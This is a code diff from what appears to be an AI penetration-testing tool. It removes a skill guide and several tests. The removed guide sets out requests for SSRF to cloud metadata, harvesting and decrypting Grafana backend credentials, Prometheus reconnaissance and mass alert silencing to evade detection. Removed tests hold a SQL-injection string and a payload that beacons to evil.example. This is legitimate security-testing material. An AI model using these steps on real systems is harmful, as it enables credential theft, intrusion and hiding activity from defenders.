-Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
-```
-# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
-POST /api/datasources  {"name":"x","type":"prometheus","access":"proxy",
-                        "url":"http://169.254.169.254"}       # returns the new <id>
-# Step 2: relay through THAT data source's id (path appended to its base URL):
-GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role>   # AWS IMDSv1
-# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
-#      → /computeMetadata/v1/instance/service-accounts/default/token
-# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
-```
-Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
-
-### 2. Grafana admin → harvest every backend credential
-Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
-```
-GET /api/datasources          # host, port, db, user for 5–15 backends
-GET /api/admin/settings        # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
-```
-Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
-
-### 3. Prometheus config/targets → leaked scrape credentials + inventory
-```
-GET /api/v1/status/config      # loaded prometheus.yml
-GET /api/v1/targets            # every scrape target + discovery metadata labels
-```
-Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
-
-### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
-Metrics are a recon goldmine. Query without auth:
-```
-GET /api/v1/query?query=up                          # every monitored service (host:port)
-GET /api/v1/query?query=node_uname_info             # kernel/OS/host
-GET /api/v1/query?query=node_dmi_info               # cloud provider / hardware
-GET /api/v1/query?query=node_network_info           # interfaces, internal IPs/MACs
-GET /api/v1/query?query=kube_pod_info               # pods, namespaces, node IPs (KSM)
-GET /api/v1/query?query=kube_node_info              # node hostnames, kubelet/kubeproxy versions
-GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
-GET /api/v1/label/__name__/values                   # enumerate all metric names → app inventory
-GET /federate?match[]={__name__=~".%2b"}             # bulk-exfil series via federation
-```
-Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
-
-### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
-```
-GET /api/v2/status             # config (receiver creds often masked, structure/routes leak)
-POST /api/v2/silences          # unauth in default deploys → silence ALL alerts
-```
-- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
-- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
-- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
-
-### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
-Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
-
-## Testing Methodology
-
-1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
-2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
-3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
-4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
-5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
-6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
-7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
-
-## Validation
-
-- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
-- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
-- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
-- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
-- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
-
-## False Positives / Down-rate
-
-- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
-- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
-- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
-- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
-- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
-- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
-
-## Impact
-
-- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
-- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
-- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
-- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
-- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
-
-## Pro Tips
-
-1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
-2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
-3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
-4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
-5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
-6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
-7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
-
-## Summary
-
-Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.

strix/tools/proxy/caido_api.py

@@ -167,9 +167,6 @@ async def get_request_with_client(
     return await client.request.get(request_id, opts)
 
 
-_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
-
-
 def build_raw_request(
     *,
     method: str,
@@ -190,16 +187,7 @@ def build_raw_request(
     final_headers = {**headers}
     final_headers.setdefault("Host", parsed.netloc)
     final_headers.setdefault("User-Agent", "strix")
-    # Framing headers inherited from the captured request describe the ORIGINAL
-    # body; once the body is modified for replay they are stale. We always send a
-    # plain (non-chunked) body with an explicit Content-Length, so drop any
-    # inherited Content-Length AND Transfer-Encoding (case-insensitively) and
-    # recompute the length from the body actually being sent. This keeps the two
-    # framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
-    # Transfer-Encoding would make the target ignore Content-Length and try to
-    # parse the body as chunked), so the replay is never desynced.
-    final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
-    if body:
+    if body and "Content-Length" not in {k.title() for k in final_headers}:
         final_headers["Content-Length"] = str(len(body.encode("utf-8")))
 
     lines = [f"{method.upper()} {path} HTTP/1.1"]

strix/tools/reporting/tool.py

@@ -422,30 +422,6 @@ async def create_vulnerability_report(
             "availability": "H"
         }
 
-    **CVSS calibration** — score the weakness you actually proved, not a
-    hypothetical worst case. Most over-rating comes from these mistakes:
-
-    - **Don't presuppose a separate compromise.** If exploitation
-      requires the attacker to already hold a victim secret (a stolen
-      session cookie/token, a leaked one-time link, intercepted traffic),
-      that acquisition is not free. Do not score it as
-      ``privileges_required:N`` with ``attack_complexity:L`` as if
-      directly reachable, and do not rate a replay-of-captured-secret
-      issue High/Critical unless the *same* finding demonstrates a
-      concrete way to obtain that secret. Issues like a session that
-      survives logout or a replayable link are session-management /
-      defense-in-depth weaknesses — usually Low/Medium on their own.
-    - **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
-      ``I:H`` require proof of wide or systemic read/write. A single
-      user's data, a read-only information leak, or merely confirming
-      that an account / domain / software version *exists* (enumeration)
-      is ``C:L`` (often ``I:N``) — not ``C:H``.
-    - **Model required position and interaction honestly.** An
-      adversary-in-the-middle prerequisite (e.g. cleartext transmission)
-      or a required victim action is not guaranteed — reflect it in
-      ``attack_complexity`` / ``user_interaction`` instead of assuming the
-      ideal condition always holds.
-
     **CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
     ``CWE-89``) — no name, no parenthetical. Be 100% certain; if
     unsure, use ``web_search`` to verify the ID before passing, or omit

tests/test_proxy_client.py

@@ -140,59 +140,6 @@ async def test_host_call_serializes_concurrent_calls() -> None:
     assert state["max"] == 1
 
 
-def _headers_named(raw: bytes, name: str) -> list[str]:
-    head = raw.decode("utf-8").split("\r\n\r\n", 1)[0]
-    return [
-        line.split(":", 1)[1].strip()
-        for line in head.split("\r\n")[1:]
-        if line.split(":", 1)[0].strip().lower() == name.lower()
-    ]
-
-
-def test_build_raw_request_recomputes_content_length_for_modified_body() -> None:
-    # The captured request declared Content-Length: 12 (original body); the
-    # replayed body is longer. The emitted request must carry exactly one
-    # Content-Length equal to the ACTUAL body length, or the target truncates
-    # the modified payload (or the connection desyncs).
-    body = '{"user":"a\' OR 1=1 -- injected long payload"}'
-    _conn, raw = caido_api.build_raw_request(
-        method="POST",
-        url="https://example.com/login",
-        headers={"content-length": "12", "Content-Type": "application/json"},
-        body=body,
-    )
-    sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1]
-    assert sent_body == body
-    assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
-
-
-def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
-    body = '{"user":"updated"}'
-    _conn, raw = caido_api.build_raw_request(
-        method="POST",
-        url="https://example.com/login",
-        headers={
-            "tRaNsFeR-EnCoDiNg": "chunked",
-            "Content-Length": "7",
-            "Content-Type": "application/json",
-        },
-        body=body,
-    )
-    assert _headers_named(raw, "Transfer-Encoding") == []
-    assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
-
-
-def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
-    # A body cleared to empty must not keep the inherited (non-zero) length.
-    _conn, raw = caido_api.build_raw_request(
-        method="POST",
-        url="https://example.com/x",
-        headers={"Content-Length": "12"},
-        body="",
-    )
-    assert _headers_named(raw, "Content-Length") == []
-
-
 class _Ctx:
     def __init__(self, context: Any) -> None:
         self.context = context

tests/test_report_writer.py

@@ -113,28 +113,6 @@ def test_render_vulnerability_md_includes_dependency_fields() -> None:
     assert "## Assumptions" in md
 
 
-def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
-    # LLM/target-authored PoC content containing its own ``` must not close the
-    # fence early and turn the injected markdown into live headings/images.
-    injected = "curl x\n```\n\n## Injected Heading\n![x](https://evil.example/beacon.png)"
-    md = render_vulnerability_md(_sample_report(poc_script_code=injected))
-    lines = md.split("\n")
-    fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
-    assert set(fence) == {"`"}
-    assert len(fence) >= 4  # wider than the payload's 3-backtick run
-    assert injected in md  # the payload survives verbatim, inside the fence
-
-
-def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
-    snippet = "row = q()\n```\n## Injected"
-    md = render_vulnerability_md(
-        _sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
-    )
-    assert (
-        "  ````\n  row = q()\n  ```\n  ## Injected\n  ````"
-    ) in md  # indented fence widened past the payload's ``` run
-
-
 def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
     reports = [
         _sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),

tests/test_update_check.py

@@ -0,0 +1,172 @@
+import hashlib
+import io
+import json
+import platform
+import time
+from pathlib import Path
+
+import pytest
+from rich.console import Console
+
+from strix.interface import update_check
+
+
+@pytest.fixture(autouse=True)
+def _isolated_cache(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
+    monkeypatch.setattr(update_check, "_CACHE_PATH", tmp_path / "update-check.json")
+    monkeypatch.setattr(update_check, "_background_thread", None)
+    monkeypatch.delenv("STRIX_NO_UPDATE_CHECK", raising=False)
+    for key in ("CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL", "BUILDKITE", "CIRCLECI"):
+        monkeypatch.delenv(key, raising=False)
+
+
+@pytest.mark.parametrize(
+    ("latest", "current", "expected"),
+    [
+        ("1.2.0", "1.1.0", True),
+        ("1.1.0", "1.1.0", False),
+        ("1.0.9", "1.1.0", False),
+        ("2.0.0", "1.99.99", True),
+        ("1.10.0", "1.9.0", True),
+        ("v1.2.0", "1.1.0", True),
+        ("not-a-version", "1.1.0", False),
+        ("1.2.0", "unknown", False),
+    ],
+)
+def test_is_newer(latest: str, current: str, expected: bool) -> None:
+    assert update_check._is_newer(latest, current) is expected
+
+
+def test_get_available_update_from_cache(monkeypatch: pytest.MonkeyPatch) -> None:
+    update_check._CACHE_PATH.write_text(
+        json.dumps({"latest_version": "9.9.9", "checked_at": time.time()})
+    )
+    monkeypatch.setattr(update_check, "get_version", lambda: "1.0.0")
+    assert update_check.get_available_update() == "9.9.9"
+
+
+def test_get_available_update_up_to_date(monkeypatch: pytest.MonkeyPatch) -> None:
+    update_check._CACHE_PATH.write_text(
+        json.dumps({"latest_version": "1.0.0", "checked_at": time.time()})
+    )
+    monkeypatch.setattr(update_check, "get_version", lambda: "1.0.0")
+    assert update_check.get_available_update() is None
+
+
+def test_get_available_update_disabled_by_env(monkeypatch: pytest.MonkeyPatch) -> None:
+    update_check._CACHE_PATH.write_text(
+        json.dumps({"latest_version": "9.9.9", "checked_at": time.time()})
+    )
+    monkeypatch.setattr(update_check, "get_version", lambda: "1.0.0")
+    monkeypatch.setenv("STRIX_NO_UPDATE_CHECK", "1")
+    assert update_check.get_available_update() is None
+
+
+def test_get_available_update_disabled_in_ci(monkeypatch: pytest.MonkeyPatch) -> None:
+    update_check._CACHE_PATH.write_text(
+        json.dumps({"latest_version": "9.9.9", "checked_at": time.time()})
+    )
+    monkeypatch.setattr(update_check, "get_version", lambda: "1.0.0")
+    monkeypatch.setenv("CI", "true")
+    assert update_check.get_available_update() is None
+
+
+def test_get_available_update_corrupt_cache(monkeypatch: pytest.MonkeyPatch) -> None:
+    update_check._CACHE_PATH.write_text("{not json")
+    monkeypatch.setattr(update_check, "get_version", lambda: "1.0.0")
+    assert update_check.get_available_update() is None
+
+
+def test_background_check_skipped_when_fresh(monkeypatch: pytest.MonkeyPatch) -> None:
+    update_check._CACHE_PATH.write_text(
+        json.dumps({"latest_version": "1.0.0", "checked_at": time.time()})
+    )
+    called = False
+
+    def fake_refresh() -> None:
+        nonlocal called
+        called = True
+
+    monkeypatch.setattr(update_check, "_refresh_cache", fake_refresh)
+    update_check.start_background_check()
+    assert update_check._background_thread is None
+    assert called is False
+
+
+def test_background_check_runs_when_stale(monkeypatch: pytest.MonkeyPatch) -> None:
+    update_check._CACHE_PATH.write_text(
+        json.dumps({"latest_version": "1.0.0", "checked_at": time.time() - 2 * 24 * 60 * 60})
+    )
+    monkeypatch.setattr(update_check, "_fetch_latest_version", lambda: "1.2.3")
+    update_check.start_background_check()
+    assert update_check._background_thread is not None
+    update_check._background_thread.join(timeout=5)
+    cache = json.loads(update_check._CACHE_PATH.read_text())
+    assert cache["latest_version"] == "1.2.3"
+
+
+def test_skipped_version_suppresses_update(monkeypatch: pytest.MonkeyPatch) -> None:
+    update_check._CACHE_PATH.write_text(
+        json.dumps({"latest_version": "9.9.9", "checked_at": time.time()})
+    )
+    monkeypatch.setattr(update_check, "get_version", lambda: "1.0.0")
+    update_check.skip_version("9.9.9")
+    assert update_check.get_available_update() is None
+    assert update_check.get_available_update(respect_skip=False) == "9.9.9"
+
+
+def test_newer_release_overrides_skipped_version(monkeypatch: pytest.MonkeyPatch) -> None:
+    update_check._CACHE_PATH.write_text(
+        json.dumps(
+            {"latest_version": "9.9.10", "checked_at": time.time(), "skipped_version": "9.9.9"}
+        )
+    )
+    monkeypatch.setattr(update_check, "get_version", lambda: "1.0.0")
+    assert update_check.get_available_update() == "9.9.10"
+
+
+def test_write_cache_preserves_existing_fields() -> None:
+    update_check.skip_version("9.9.9")
+    update_check._write_cache(latest_version="1.2.3", checked_at=123.0)
+    cache = json.loads(update_check._CACHE_PATH.read_text())
+    assert cache == {"latest_version": "1.2.3", "checked_at": 123.0, "skipped_version": "9.9.9"}
+
+
+def test_get_upgrade_command_all_methods() -> None:
+    assert update_check.get_upgrade_command("binary") == "strix --update"
+    assert update_check.get_upgrade_command("pipx") == "pipx upgrade strix-agent"
+    assert update_check.get_upgrade_command("uv") == "uv tool upgrade strix-agent"
+    assert update_check.get_upgrade_command("pip") == "pip install --upgrade strix-agent"
+
+
+def test_self_update_non_binary_prints_command(monkeypatch: pytest.MonkeyPatch) -> None:
+    monkeypatch.setattr(update_check, "is_binary_install", lambda: False)
+    buffer = io.StringIO()
+    assert update_check.self_update(Console(file=buffer)) is False
+    assert "upgrade" in buffer.getvalue()
+
+
+def test_self_update_already_latest(monkeypatch: pytest.MonkeyPatch) -> None:
+    monkeypatch.setattr(update_check, "is_binary_install", lambda: True)
+    monkeypatch.setattr(update_check, "_fetch_latest_version", lambda: "1.0.0")
+    monkeypatch.setattr(update_check, "get_version", lambda: "1.0.0")
+    assert update_check.self_update() is True
+
+
+def test_sha256_file(tmp_path: Path) -> None:
+    path = tmp_path / "blob"
+    path.write_bytes(b"strix")
+    assert update_check._sha256_file(path) == hashlib.sha256(b"strix").hexdigest()
+
+
+def test_release_target(monkeypatch: pytest.MonkeyPatch) -> None:
+    monkeypatch.setattr(platform, "system", lambda: "Linux")
+    monkeypatch.setattr(platform, "machine", lambda: "x86_64")
+    assert update_check._release_target() == "linux-x86_64"
+
+    monkeypatch.setattr(platform, "system", lambda: "Darwin")
+    monkeypatch.setattr(platform, "machine", lambda: "arm64")
+    assert update_check._release_target() == "macos-arm64"
+
+    monkeypatch.setattr(platform, "machine", lambda: "riscv64")
+    assert update_check._release_target() is None